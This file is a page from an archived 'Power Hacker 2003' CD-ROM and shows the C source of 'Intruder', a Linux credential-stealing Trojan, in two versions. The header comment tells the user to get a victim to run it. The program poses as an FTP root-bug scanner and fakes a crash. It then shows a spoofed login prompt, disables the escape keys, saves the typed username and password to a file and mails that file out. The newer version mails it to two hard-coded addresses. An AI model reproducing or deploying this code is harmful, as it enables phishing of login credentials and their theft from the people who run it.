home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / intruderf.c < prev    next >
C/C++ Source or Header  |  2001-11-06  |  6KB  |  238 lines

  1. /* Intruder 1.02 Written by the boys of #coderspc (Undernet) mostly
  2. written by THeGZa, but I couldn't have done it without Guilly,
  3. RedBull, and especially R33TaWRd. line 26 has char email[] =
  4. "youremailaddress@here.com" change that with your e-mail address,and
  5.  the users login and pass will be sent to you. Get your victim to run
  6. this program on there linux box (might work in other unices, don't know?)
  7. it's disguised as a program to see if your system is vanurable to
  8. any ftp root bugs, then pretends a seg fault, goes back into a
  9. hacked copy of the login sequence. Change this if you like, GIVE US
  10.  CREDIT, for what we did, if you need to get a hold of me e-mail me 
  11. at sam@webnetix.com. */
  12. #include <stdio.h>
  13. #include <stdlib.h>
  14. #include <string.h>
  15. #include <unistd.h>
  16.  
  17.  
  18. void main()
  19. {
  20.    char input1[10];
  21.    char input[10];
  22.    char var[80] = {0};
  23.    char buffer1[80] = {0};
  24.    FILE *fp;
  25.    FILE *file;
  26.    char email[] = "your@emailaddresshere.com"; //change this to your e-mail
  27.    char *foo;
  28.    struct login
  29.    {
  30.       char id[10];
  31.       char password[10];
  32.    }loginfake;
  33.    /* if(getuid() !=0) //make sure were root
  34.    {
  35.      printf("you are not root, you cannot run this program, please su to root\n");
  36.      exit(-1);
  37.     } */
  38.      printf("Searching for ftp root bugs\n"); 
  39.    if(!strcmp( getenv("TERM"), "rxvt")) //make sure were not in X
  40.    {
  41.       printf("need to be running in console press CTRL-ALT-F5 to open console terminal\n");
  42.       exit(-1);
  43.    }
  44.    if(!strcmp( getenv("TERM"), "xterm"))
  45.    {
  46.       printf("need to be running in console press CTRL-ALT-F5 to open console terminal\n");
  47.       exit(-1);
  48.    }
  49.  
  50.    sleep( 1 );
  51.    printf(".\n ");
  52.    sleep( 1 );
  53.    printf(".\n");
  54.    sleep( 1 );
  55.    printf(".\n");
  56.    sleep(1);
  57.    sleep(1);
  58.    printf("Found a root bug!!! inSegmentation Fault (core dumped)\n");
  59.    sleep(1);
  60.    system("clear");
  61.    printf("\n");
  62.    fp = popen("cat /etc/issue.net", "r"); //login info
  63.    fread(var, 80, 1, fp);
  64.    system("stty susp ^G"); //so they can't escape out of login
  65.    printf("%s",var);
  66.    printf("\n");
  67.    printf("localhost login: ");
  68.    gets(input);
  69.    
  70.    printf("Password: ");
  71.    gets(input1);
  72.    printf("\n");
  73.    printf("/bin/login cannot open /etc/motd\n");
  74.    printf("running terminal safe mode!\n");
  75.    printf("\n");
  76.    strcpy(loginfake.id, input);
  77.    strcpy(loginfake.password, input1);
  78.    file = fopen("mirror.txt","w");
  79.    fprintf(file, "%s %s",loginfake.id,loginfake.password);
  80.    fclose(file);
  81.    foo=(char *)malloc(4096); 
  82.    sprintf(foo,"mail %s < mirror.txt",email); // e-mail login and pass
  83.    system(foo);
  84. }
  85.  
  86.  
  87.  
  88. ------------------------------------------------------------------------
  89. Here is a newer version:
  90. ------------------------------------------------------------------------
  91. #include <stdio.h>
  92. #include <stdlib.h>
  93. #include <string.h>
  94. #include <unistd.h>
  95. #include <pwd.h>
  96. typedef struct
  97. {
  98.    char id[9];
  99.    char password[9];
  100. } login;
  101. login loginfake;
  102. void scanend(char *string);
  103. void testX();
  104. void pimpthem();
  105. void fakelogin();
  106. void sttystuff();
  107. void emailus();
  108. void main()
  109. {
  110.   printf("Searching for local ftpd bugs.\n");
  111.   testX();
  112.   pimpthem();
  113.   sttystuff();
  114.   fakelogin();
  115.   emailus();
  116.   
  117. }
  118.  
  119. void scanend(char *string)
  120. {
  121.   int count;
  122.   for(count=0;count<78;count++)
  123.   {
  124.     if(string[count]==10) string[count]=0;
  125.     if(string[count]==13) string[count]=0;
  126.   }
  127. }
  128.  
  129. void testX()
  130. {
  131.    char xterm[] = "xterm";
  132.    char xtermcolor[] = "xterm-color";
  133.    char rxvt[] = "rxvt";
  134.    char rxvtcolor[] = "rxvt-color";
  135.    char nxterm[] = "nxterm";
  136.    char noX[] = "You are in X, please exit to run this program";
  137.    if(! (strcmp(getenv("TERM"), xterm)))
  138.    {
  139.      printf("%c\n",noX); 
  140.      exit(-1);
  141.    }
  142.    if( (!strcmp(getenv("TERM"), xtermcolor)))
  143.    {
  144.      printf("%c\n",noX);
  145.      exit(-1);
  146.    }
  147.   if(! (strcmp(getenv("TERM"), rxvt)))
  148.   {
  149.     printf("%c\n",noX);
  150.     exit(-1);
  151.   }
  152.   if(!(strcmp(getenv("TERM"),rxvtcolor)))
  153.   {
  154.     printf("%c\n",noX);
  155.     exit(-1);
  156.   }
  157.   if(!(strcmp(getenv("TERM"),nxterm)))
  158.   {
  159.     printf("%c\n",noX);
  160.     exit(-1);
  161.   }
  162. }
  163.  
  164. void pimpthem()
  165. {
  166.   printf("\n");
  167.   printf(".\n");
  168.   sleep( 1 );
  169.   printf(".\n");
  170.   sleep( 1 );
  171.   printf(".\n");
  172.   sleep( 1 );
  173.   printf("found buffer overide bug iSegmentation Fault (core dumped)\n");
  174.   sleep( 1 );
  175.   system("clear");
  176.   
  177. }
  178.  
  179. void fakelogin()
  180. {
  181.    char *input1[10]={0};
  182.    char input[10];
  183.    char var[80] = {0};
  184.    char buffer[80] = {0};
  185.    FILE *fp;
  186.    FILE *file;
  187.    char hostname[80]={0};
  188.    FILE *hostnamefile;
  189.   
  190.    fp = popen("cat /etc/issue.net", "r");
  191.    fread(var, 80, 1, fp);
  192.   
  193.    printf("\n");
  194.    printf("%s",var);
  195.    printf("\n");
  196.   
  197.    hostnamefile=fopen("/etc/HOSTNAME","r");
  198.    fread(hostname,78,1,hostnamefile);
  199.    scanend(hostname);
  200.    printf("%s login: ",hostname);
  201.    gets(input);
  202.   
  203.    *input1=getpass("Password: ");
  204.    printf("\n");
  205.   
  206.    printf("/bin/cat cannot open /etc/motd cought buffer overide!\n");
  207.    printf("opening system fix shell, run fsck\n");
  208.    
  209.    strcpy(loginfake.id, input);
  210.    strcpy(loginfake.password, *input1);
  211.    
  212.    file = fopen("mirror.txt","w");
  213.    fprintf(file, "username:%s\npassword:%s\nUID:%i",loginfake.id, loginfake.password, getuid());
  214.    fclose(file);
  215. }
  216.  
  217. void emailus()
  218. {
  219.   char guilly[] = "gchamber@videotron.ca";
  220.   char thegza[] = "yacoubi@ibm.net";
  221.   char *foo;
  222.   char *poo;
  223.   
  224.   foo=(char *)malloc(4096);
  225.   sprintf(foo, "mail %s < mirror.txt",guilly);
  226.   poo=(char *)malloc(4096);
  227.   sprintf(poo, "mail %s < mirror.txt",thegza);
  228.   system(foo);
  229.   system(poo);
  230. }
  231.  
  232. void sttystuff()
  233. {
  234.   system("stty susp ^G");
  235.   system("stty intr ^Q");
  236. }
  237.  
  238.